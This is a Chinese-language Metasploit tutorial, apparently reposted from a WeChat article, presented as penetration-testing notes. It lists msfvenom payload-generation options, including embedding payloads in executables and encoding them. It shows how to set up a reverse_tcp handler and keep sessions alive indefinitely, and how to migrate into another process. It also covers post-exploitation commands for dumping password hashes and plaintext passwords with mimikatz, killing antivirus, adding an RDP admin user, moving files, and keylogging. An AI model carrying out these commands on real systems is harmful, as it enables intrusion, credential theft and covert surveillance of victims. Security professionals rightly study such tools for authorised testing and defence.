關於msfconsole
msfconsole
簡稱msf
是一款常用的滲透測試工具,包含了常見的漏洞利用模塊和生成各種木馬。是出家旅行的必備神器,今天我們在一起來回顧下吧。
啟動
在終端執行
service postgresql start #啟動postgresql 不啟動也可以
msfconsole
msfconsole
常見的參數解讀
-p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平台的
-l, –list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all
-n, –nopsled < length> 為payload預先指定一個NOP滑動長度
-f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支持的輸出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload
-a, –arch < architecture> 指定payload的目標架構,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目標平台
-s, –space < length> 設定有效攻擊荷載的最大長度,就是文件大小
-b, –bad-chars < list> 設定規避字符集,指定需要過濾的壞字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的編碼次數
-c, –add-code < path> 指定一個附加的win32 shellcode文件
-x, –template < path> 指定一個自定義的可執行文件作為模板,並將payload嵌入其中
-k, –keep 保護模板程序的動作,注入的payload作為一個新的進程運行
–payload-options 列舉payload的標准選項
-o, –out < path> 指定創建好的payload的存放位置
-v, –var-name < name> 指定一個自定義的變量,以確定輸出格式
–shellest 最小化生成payload
-h, –help 查看幫助選項
–help-formats 查看msf支持的輸出格式列表
查看所有payloads
--list payloads
使用msfvenom --list encoders可查看所有編碼器
防止假session
在實戰中,經常會遇到假session或者剛連接就斷開的情況,這里補充一些監聽參數,防止假死與假session。
msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后繼續監聽端口,保持偵聽。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
默認情況下,如果一個會話將在5分鍾(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉
handler后台持續監聽
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后台持續監聽,-j為后台任務,-z為持續監聽,使用Jobs命令查看和管理后台任務。jobs -K可結束所有任務。
還有種比較快捷的建立監聽的方式,在msf下直接執行:
msf5 > handler -H 192.168.0.93 -P 5555 -p windows/meterpreter/reverse_tcp
如上,我們同樣得到了會話。
會話的持久化
:進程的遷移
查看當前shell的進程getid
查看目標運行的進程ps
如:我想將shell的進程變為 QQProtect.exe
的進程,執行migrate 3604
即可。
獲取憑證
在內網環境中,一個管理員可能管理多台服務器,他使用的密碼有可能相同或者有規律,如果能夠得到密碼或者hash,再嘗試登錄內網其它服務器,可能取得意想不到的效果。
1.使用meterpreter的run hashdump
命令
因為我電腦沒有設置密碼,所以這里沒有hash信息
使用mimikatz
load mimikatz
載入模塊
使用wdigest命令獲取登錄過的用戶儲存在內存里的明文密碼。
操作文件系統
1.文件的基本操作
ls:
列出當前路徑下的所有文件和文件夾。pwd 或 getwd:
查看當前路徑。search:
搜索文件,使用search -h查看幫助。cat:
查看文件內容,比如cat test.txt。edit:
編輯或者創建文件。和Linux系統的vm命令類似,同樣適用於目標系統是windows的情況。rm:
刪除文件。cd:
切換路徑。mkdir:
創建文件夾。rmdir:
刪除文件夾。getlwd 或 lpwd:
查看自己系統的當前路徑。lcd:
切換自己當前系統的目錄。lls:
顯示自己當前系統的所有文件和文件夾。
2.文件的上傳和下載
(1) upload
格式:upload本地文件路徑目標文件路徑
(2)download
格式:download 目標文件路徑 本地文件路徑
其它操作
1.關閉防病毒軟件
run killav
run post/windows/manage/killav
2.操作遠程桌面
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp username=test password=test添加遠程桌面的用戶(同時也會將該用戶添加到管理員組)
3.鍵盤記錄
keyscan_start:開啟鍵盤記錄功能
keyscan_dump:顯示捕捉到的鍵盤記錄信息
keyscan_stop:停止鍵盤記錄功能
轉載:https://mp.weixin.qq.com/s/6YlbbAVkHmmgcNAnIQIrpQ